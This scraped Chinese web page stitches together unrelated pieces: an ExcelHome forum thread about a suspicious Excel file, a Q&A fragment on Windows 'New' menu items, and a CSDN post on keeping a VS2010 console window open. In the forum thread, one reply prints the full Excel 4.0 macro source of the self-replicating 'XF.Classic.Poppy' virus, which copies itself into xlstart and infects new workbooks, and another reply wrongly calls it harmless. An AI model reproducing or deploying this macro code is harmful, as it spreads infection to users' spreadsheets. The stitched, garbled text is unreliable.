查看: 6203|回复: 10
打开后会自动新建N多工作簿，不启用宏查看也没有代码。
阅读权限30
在线时间 小时
现有一EXCEL文件，打开后会自动新建N多工作簿，不启用宏查看也没有代码。
14:34 上传
点击文件名下载附件
6.96 KB, 下载次数: 34
阅读权限95
在线时间 小时
14-36-52.png (13.35 KB, 下载次数: 27)
14:37 上传
阅读权限95
在线时间 小时
本帖最后由 Zamyi 于
14:43 编辑
EXCEL4.0的宏吧，是不是病毒还不清楚。隐藏工作表“00000ppy”中内容
0.xls& && && && && & =WORKBOOK.HIDE(&00000ppy&)
Book1& && && && && &
D:\Program Files\Microsoft Office\Office12\xlstart\Book1.& && && && && & **Auto and On Sheet Starts Here**
3& && && && && & =RUN(C18)
& && && && && & =ERROR(TRUE, Continue)
& && && && && & =IF(A4=3)
Classic.Poppy by VicodinES& && && && && & =RETURN()
With Lord Natas& && && && && & =END.IF()
An Excel Formula Macro Virus (XF.Classic)& && && && && & =ERROR(FALSE)
Hydrocodone/APAP 10-650 For Your Computer& && && && && & =RUN(A21)
(C) The Narkotic Network 1998& && && && && & =ON.TIME(&6:30:00 PM&, &Hello&)
& && && && && & =ON.TIME(&6:30:00 AM&, &Morning&)
& && && && && & =ON.SHEET(,&Poppy&,TRUE)
**Simple Payload**& && && && && & =RETURN()
=ALERT(&XF.Classic.Poppy by VicodinES&, 2)& && && && && &
=ALERT(&?1998 The Narkotic Network&, 2)& && && && && &
=RETURN()& && && && && & **Set Our Values and Paths**
& && && && && & =SET.VALUE($A$3,(GET.WORKSPACE(32) & &\xlstart\Book1.&))
& && && && && & =SET.NAME(&Document_array&, DOCUMENTS())
**Add New Workbook, Infect It, Save It As Book1.xls**& && && && && & =SET.VALUE($A$1, INDEX(Document_array,2))
=SET.VALUE($A$2,INDEX(Document_array,1))& && && && && &
=ERROR(TRUE,MakeIt)& && && && && & =SET.VALUE($A$4,GET.DOCUMENT(3,&[&&A1&&]&&&00000ppy&))
=IF(A21=0)& && && && && & =RETURN()
=RETURN()& && && && && &
& && && && && &
=NEW(1)& && && && && & **Infect Workbook**
=WORKBOOK.INSERT(1)& && && && && & =RUN(C19)
=WORKBOOK.INSERT(1)& && && && && & =ERROR(TRUE,Bust)
=ACTIVATE.PREV()& && && && && & =IF(A4=3)
=RUN(C18)& && && && && & =RETURN()
=WORKBOOK.COPY(&00000ppy&,A1)& && && && && & =ERROR(FALSE)
=WORKBOOK.NAME(&Sheet3&,&Sheet99&)& && && && && & =ACTIVATE.PREV()
=WORKBOOK.NAME(&Sheet1&,&Sheet3&)& && && && && & =RUN(C19)
=WORKBOOK.NAME(&Sheet99&,&Sheet1&)& && && && && & =WORKBOOK.COPY(&00000ppy&,A1)
=PROTECT.DOCUMENT(TRUE,,&VicodinES&,TRUE)& && && && && & =END.IF()
=WORKBOOK.PREV()& && && && && & =RETURN()
=WORKBOOK.PREV()& && && && && &
=WORKBOOK.PREV()& && && && && &
=SAVE.AS(A3)& && && && && & =APP.TITLE(&XF.Classic.Poppy&)
=FILE.CLOSE()& && && && && & =MESSAGE(TRUE, &VicodinES and Lord Natas greet you a good morning!&)
=RETURN()& && && && && & =RETURN()
阅读权限30
在线时间 小时
怎么处理？
阅读权限95
在线时间 小时
我已经第二次看到这样的文件，最令人兴奋的是它隐藏的工作表在VBE中也没有看到，一般是发现不了。
阅读权限95
在线时间 小时
本帖最后由 Zamyi 于
15:32 编辑
完全不担心它是病毒，尽管下载究竟。不启用宏打开它，取消隐藏，把这张表删除，再删除名称。
阅读权限95
在线时间 小时
这里已有讨论 及解决方案
阅读权限95
在线时间 小时
请问楼主这个文件是哪来的？很想了解更多的这方面的东东。
阅读权限95
在线时间 小时
livewire 发表于
这里已有讨论 及解决方案
http://club.excelhome.net/thread--1.html
本帖附件应该不是病毒。你提供的链接附件找不开，可能不相同。
阅读权限95
在线时间 小时
我打不开楼主的附件。 不清楚这个宏表是不是跟7楼的附图一样？
最新热点 /1
ExcelHome每周都有线上直播公开课，
国内一流讲师真身分享，高手贴身答疑，
赶不上直播还能看录像，
关键居然是免费的！
厚木哥们都已经这么努力了，
你还好意思说学不好Office。
玩命加载中，请稍候
玩命加载中，请稍候
Powered by
本论坛言论纯属发表者个人意见，任何违反国家相关法律的言论，本站将协助国家相关部门追究发言者责任！ & & 本站特聘法律顾问：徐怀玉律师 李志群律师“新建”中没有Word但是在控制面板“程序”中却存在怎么在新建中显示出来啊？
全部答案（共1个回答）
下载地址：
下载安装后打开超级兔子/选择“打造属于自己的系统”/菜单/新建菜单/看看里面有没有你要找的选项，如果有勾选该项，按“新建”按钮，然后按应用即可。
如果控制面板有卸载选项，但是卸载不了，可按照下面方法删除。
1、请你通过搜索查找，找到要删除的程序软件的文件夹（或右击要删除程序软件的图标选属性，在打开的对话框...
点自动获得IP，
不要设置固定的IP地址！
右键菜单随意玩
一、清理无用的右键菜单　
　　网上的共享软件多数捆绑流氓软件，安装后发觉右键菜单中多了很多自己不需要的东西，干掉它。
　　单击“开始...
[工具]→[选项]在[视图]选项卡的[显示]中取消[启动任务窗格]的勾选，另在[视图]菜单中取消[任务窗格]的勾选。
大家还关注
确定举报此问题
举报原因(必选)：
广告或垃圾信息
激进时政或意识形态话题
不雅词句或人身攻击
侵犯他人隐私
其它违法和不良信息
报告，这不是个问题
报告原因(必选)：
这不是个问题
这个问题分类似乎错了
这个不是我熟悉的地区2347人阅读
C/C++（16）
在vs2010中，新建Ｃ语言程序，运行时出现这样的现象：DOS窗口一闪而过，想查看输出内容，但是看不到,很纠结！！！
现整理下自己测试过的方法：
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
1） 在main()函数的末尾加一个&system(&pause&); 此时头文件应有#include&stdlib.h&
注意:主函数末尾有return 0时system(&pause&)加在return 0前&&&&&&&&&&&&
&//首选这个吧，挺好用的
2） 在main()函数的末尾加一个getch(); 此时头文件应有#include&conio.h&
& //这个不怎么常用
３）非调试状态下运行，直接按按Ctrl+F5；如果按F5调试的话，就会出现一闪而过的情况，但该方法不适用于生成的exe文件；
//这个用起来比较方便
４） 给程序加一个任务，即定义一个内联函数&inline void keep_window_open(cin&&),然后在mian函数末尾加上keep_Window_open();这个方法是最有效也是最常用的，网上很多方法原理都类似于此。具体原因我也不知晓。C++中比较常用
５）其他方法，如设置断点，单步调试等。
各路高手们谁要是有其他方法／技巧
　　　还愿赐教！！！！
参考知识库
* 以上用户言论只代表其个人观点，不代表CSDN网站的观点或立场
访问：54846次
积分：1218
积分：1218
排名：千里之外
原创：64篇
转载：25篇
(13)(7)(2)(1)(4)(4)(2)(4)(3)(2)(9)(4)(2)(16)(17)2011年10月 移动平台大版内专家分月排行榜第三2010年11月 移动平台大版内专家分月排行榜第三
2011年10月 移动平台大版内专家分月排行榜第三2010年11月 移动平台大版内专家分月排行榜第三
2011年8月 移动平台大版内专家分月排行榜第二2011年7月 移动平台大版内专家分月排行榜第二2011年3月 移动平台大版内专家分月排行榜第二
2012年8月 移动平台大版内专家分月排行榜第三2012年7月 移动平台大版内专家分月排行榜第三
2011年8月 移动平台大版内专家分月排行榜第二2011年7月 移动平台大版内专家分月排行榜第二2011年3月 移动平台大版内专家分月排行榜第二
2012年8月 移动平台大版内专家分月排行榜第三2012年7月 移动平台大版内专家分月排行榜第三
本帖子已过去太久远了，不再提供回复功能。